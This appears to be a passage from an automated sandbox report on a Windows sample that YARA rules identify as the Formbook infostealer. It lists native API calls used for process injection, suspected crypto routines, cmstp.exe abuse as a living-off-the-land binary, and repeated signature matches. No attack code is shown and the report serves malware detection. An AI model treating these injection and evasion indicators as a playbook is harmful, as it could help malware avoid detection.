Source: 0.2.LWlcpDjYIQ.exe.1eb20000.5.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.LWlcpDjYIQ.exe.1eb20000.5.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 2.2.LWlcpDjYIQ.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.2.LWlcpDjYIQ.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 2.1.LWlcpDjYIQ.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.1.LWlcpDjYIQ.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 2.2.LWlcpDjYIQ.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.2.LWlcpDjYIQ.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 2.1.LWlcpDjYIQ.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.1.LWlcpDjYIQ.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.LWlcpDjYIQ.exe.1eb20000.5.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.LWlcpDjYIQ.exe.1eb20000.5.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Contains functionality to call native functions
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_004181B0 NtCreateFile, 2_2_004181B0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00418260 NtReadFile, 2_2_00418260
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_004182E0 NtClose, 2_2_004182E0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00418390 NtAllocateVirtualMemory, 2_2_00418390
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00418202 NtReadFile, 2_2_00418202
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_0041838A NtAllocateVirtualMemory, 2_2_0041838A
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A698F0 NtReadVirtualMemory,LdrInitializeThunk, 2_2_00A698F0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A69860 NtQuerySystemInformation,LdrInitializeThunk, 2_2_00A69860
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A69840 NtDelayExecution,LdrInitializeThunk, 2_2_00A69840
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A699A0 NtCreateSection,LdrInitializeThunk, 2_2_00A699A0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A69910 NtAdjustPrivilegesToken,LdrInitializeThunk, 2_2_00A69910
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A69A20 NtResumeThread,LdrInitializeThunk, 2_2_00A69A20
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A69A00 NtProtectVirtualMemory,LdrInitializeThunk, 2_2_00A69A00
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A69A50 NtCreateFile,LdrInitializeThunk, 2_2_00A69A50
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A695D0 NtClose,LdrInitializeThunk, 2_2_00A695D0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A69540 NtReadFile,LdrInitializeThunk, 2_2_00A69540
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A696E0 NtFreeVirtualMemory,LdrInitializeThunk, 2_2_00A696E0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A69660 NtAllocateVirtualMemory,LdrInitializeThunk, 2_2_00A69660
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A697A0 NtUnmapViewOfSection,LdrInitializeThunk, 2_2_00A697A0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A69780 NtMapViewOfSection,LdrInitializeThunk, 2_2_00A69780
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A69FE0 NtCreateMutant,LdrInitializeThunk, 2_2_00A69FE0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A69710 NtQueryInformationToken,LdrInitializeThunk, 2_2_00A69710
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A698A0 NtWriteVirtualMemory, 2_2_00A698A0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A69820 NtEnumerateKey, 2_2_00A69820
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A6B040 NtSuspendThread, 2_2_00A6B040
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A699D0 NtCreateProcessEx, 2_2_00A699D0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A69950 NtQueueApcThread, 2_2_00A69950
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A69A80 NtOpenDirectoryObject, 2_2_00A69A80
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A69A10 NtQuerySection, 2_2_00A69A10
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A6A3B0 NtGetContextThread, 2_2_00A6A3B0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A69B00 NtSetValueKey, 2_2_00A69B00
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A695F0 NtQueryInformationFile, 2_2_00A695F0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A69520 NtWaitForSingleObject, 2_2_00A69520
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A6AD30 NtSetContextThread, 2_2_00A6AD30
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A69560 NtWriteFile, 2_2_00A69560
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A696D0 NtCreateKey, 2_2_00A696D0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A69610 NtEnumerateValueKey, 2_2_00A69610
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A69670 NtQueryInformationProcess, 2_2_00A69670
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A69650 NtQueryValueKey, 2_2_00A69650
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B9860 NtQuerySystemInformation,LdrInitializeThunk, 7_2_046B9860
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B9840 NtDelayExecution,LdrInitializeThunk, 7_2_046B9840
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B9540 NtReadFile,LdrInitializeThunk, 7_2_046B9540
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B9910 NtAdjustPrivilegesToken,LdrInitializeThunk, 7_2_046B9910
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B95D0 NtClose,LdrInitializeThunk, 7_2_046B95D0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B99A0 NtCreateSection,LdrInitializeThunk, 7_2_046B99A0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B9660 NtAllocateVirtualMemory,LdrInitializeThunk, 7_2_046B9660
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B9A50 NtCreateFile,LdrInitializeThunk, 7_2_046B9A50
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B9650 NtQueryValueKey,LdrInitializeThunk, 7_2_046B9650
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B96E0 NtFreeVirtualMemory,LdrInitializeThunk, 7_2_046B96E0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B96D0 NtCreateKey,LdrInitializeThunk, 7_2_046B96D0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B9710 NtQueryInformationToken,LdrInitializeThunk, 7_2_046B9710
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B9FE0 NtCreateMutant,LdrInitializeThunk, 7_2_046B9FE0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B9780 NtMapViewOfSection,LdrInitializeThunk, 7_2_046B9780
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046BB040 NtSuspendThread, 7_2_046BB040
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B9820 NtEnumerateKey, 7_2_046B9820
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B98F0 NtReadVirtualMemory, 7_2_046B98F0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B98A0 NtWriteVirtualMemory, 7_2_046B98A0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B9560 NtWriteFile, 7_2_046B9560
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B9950 NtQueueApcThread, 7_2_046B9950
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B9520 NtWaitForSingleObject, 7_2_046B9520
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046BAD30 NtSetContextThread, 7_2_046BAD30
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B95F0 NtQueryInformationFile, 7_2_046B95F0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B99D0 NtCreateProcessEx, 7_2_046B99D0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B9670 NtQueryInformationProcess, 7_2_046B9670
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B9A20 NtResumeThread, 7_2_046B9A20
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B9A00 NtProtectVirtualMemory, 7_2_046B9A00
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B9A10 NtQuerySection, 7_2_046B9A10
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B9610 NtEnumerateValueKey, 7_2_046B9610
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B9A80 NtOpenDirectoryObject, 7_2_046B9A80
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B9760 NtOpenProcess, 7_2_046B9760
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B9770 NtSetInformationFile, 7_2_046B9770
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046BA770 NtOpenThread, 7_2_046BA770
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B9730 NtQueryVirtualMemory, 7_2_046B9730
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B9B00 NtSetValueKey, 7_2_046B9B00
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046BA710 NtOpenProcessToken, 7_2_046BA710
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046B97A0 NtUnmapViewOfSection, 7_2_046B97A0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046BA3B0 NtGetContextThread, 7_2_046BA3B0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_028582E0 NtClose, 7_2_028582E0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_02858260 NtReadFile, 7_2_02858260
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_02858390 NtAllocateVirtualMemory, 7_2_02858390
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_028581B0 NtCreateFile, 7_2_028581B0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_02858202 NtReadFile, 7_2_02858202
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0285838A NtAllocateVirtualMemory, 7_2_0285838A
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 0_2_00403166 EntryPoint,#17,OleInitialize,SHGetFileInfoA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,GetCommandLineA,GetModuleHandleA,CharNextA,OleUninitialize,ExitProcess,lstrcatA,CreateDirectoryA,lstrcatA,lstrcatA,DeleteFileA,GetModuleFileNameA,lstrcmpiA,CopyFileA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess, 0_2_00403166
Detected potential crypto function
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 0_2_004046C3 0_2_004046C3
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 0_2_004060D9 0_2_004060D9
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 0_2_004068B0 0_2_004068B0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00401026 2_2_00401026
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00401030 2_2_00401030
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00401208 2_2_00401208
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00408C50 2_2_00408C50
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_0041C4FE 2_2_0041C4FE
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_0041CC90 2_2_0041CC90
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_0041B55B 2_2_0041B55B
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00402D8A 2_2_00402D8A
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00402D90 2_2_00402D90
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_0041C76C 2_2_0041C76C
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_0041B7C9 2_2_0041B7C9
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_0041BF8A 2_2_0041BF8A
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00402FB0 2_2_00402FB0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A520A0 2_2_00A520A0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF20A8 2_2_00AF20A8
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A3B090 2_2_00A3B090
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF28EC 2_2_00AF28EC
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AFE824 2_2_00AFE824
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AE1002 2_2_00AE1002
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A44120 2_2_00A44120
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A2F900 2_2_00A2F900
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF22AE 2_2_00AF22AE
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A5EBB0 2_2_00A5EBB0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AE03DA 2_2_00AE03DA
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AEDBD2 2_2_00AEDBD2
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF2B28 2_2_00AF2B28
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A3841F 2_2_00A3841F
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AED466 2_2_00AED466
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A52581 2_2_00A52581
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A3D5E0 2_2_00A3D5E0
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF25DD 2_2_00AF25DD
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A20D20 2_2_00A20D20
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF2D07 2_2_00AF2D07
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF1D55 2_2_00AF1D55
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF2EF7 2_2_00AF2EF7
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00A46E30 2_2_00A46E30
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AED616 2_2_00AED616
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AF1FF1 2_2_00AF1FF1
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 2_2_00AFDFCE 2_2_00AFDFCE
Source: C:\Windows\explorer.exe Code function: 5_2_06413062 5_2_06413062
Source: C:\Windows\explorer.exe Code function: 5_2_0640E8F9 5_2_0640E8F9
Source: C:\Windows\explorer.exe Code function: 5_2_064112FF 5_2_064112FF
Source: C:\Windows\explorer.exe Code function: 5_2_0640F362 5_2_0640F362
Source: C:\Windows\explorer.exe Code function: 5_2_0640E902 5_2_0640E902
Source: C:\Windows\explorer.exe Code function: 5_2_06411302 5_2_06411302
Source: C:\Windows\explorer.exe Code function: 5_2_064147C7 5_2_064147C7
Source: C:\Windows\explorer.exe Code function: 5_2_064155B2 5_2_064155B2
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0473D466 7_2_0473D466
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04731002 7_2_04731002
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0468841F 7_2_0468841F
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_047428EC 7_2_047428EC
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A20A0 7_2_046A20A0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_047420A8 7_2_047420A8
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0468B090 7_2_0468B090
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04741D55 7_2_04741D55
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04670D20 7_2_04670D20
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04694120 7_2_04694120
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0467F900 7_2_0467F900
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04742D07 7_2_04742D07
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0468D5E0 7_2_0468D5E0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_047425DD 7_2_047425DD
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046A2581 7_2_046A2581
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04696E30 7_2_04696E30
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04742EF7 7_2_04742EF7
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_047422AE 7_2_047422AE
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04742B28 7_2_04742B28
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_04741FF1 7_2_04741FF1
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0473DBD2 7_2_0473DBD2
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_046AEBB0 7_2_046AEBB0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_02842FB0 7_2_02842FB0
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0285C76C 7_2_0285C76C
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0285C4FE 7_2_0285C4FE
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_02848C50 7_2_02848C50
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_02842D8A 7_2_02842D8A
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_02842D90 7_2_02842D90
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 7_2_0285B55B 7_2_0285B55B
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: String function: 00A2B150 appears 45 times
Source: C:\Windows\SysWOW64\cmstp.exe Code function: String function: 0467B150 appears 35 times
Sample file is different than original file name gathered from version info
Source: LWlcpDjYIQ.exe, 00000000.00000003.215702274.000000001EE2F000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs LWlcpDjYIQ.exe
Source: LWlcpDjYIQ.exe, 00000000.00000002.220134452.0000000002260000.00000002.00000001.sdmp Binary or memory string: OriginalFilenameAVICAP32.DLL.MUIj% vs LWlcpDjYIQ.exe
Source: LWlcpDjYIQ.exe, 00000000.00000002.220083689.00000000007B0000.00000002.00000001.sdmp Binary or memory string: OriginalFilenamemsvfw32.dll.muij% vs LWlcpDjYIQ.exe
Source: LWlcpDjYIQ.exe, 00000002.00000002.256547466.0000000000960000.00000040.00000001.sdmp Binary or memory string: OriginalFilenameCMSTP.EXE` vs LWlcpDjYIQ.exe
Source: LWlcpDjYIQ.exe, 00000002.00000002.256830286.0000000000CAF000.00000040.00000001.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs LWlcpDjYIQ.exe
Uses 32bit PE files
Source: LWlcpDjYIQ.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Uses a Windows Living Off The Land Binaries (LOL bins)
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\cmstp.exe C:\Windows\SysWOW64\cmstp.exe
Yara signature match
Source: 00000002.00000002.256436700.00000000006E0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.256436700.00000000006E0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000001.215824395.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000001.215824395.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.474138939.00000000002D0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.474138939.00000000002D0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.256399693.00000000006B0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.256399693.00000000006B0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.220675052.000000001EB20000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.220675052.000000001EB20000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.256111645.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.256111645.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.475870538.0000000002840000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.475870538.0000000002840000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.LWlcpDjYIQ.exe.1eb20000.5.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.LWlcpDjYIQ.exe.1eb20000.5.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 2.2.LWlcpDjYIQ.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 2.2.LWlcpDjYIQ.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 2.1.LWlcpDjYIQ.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
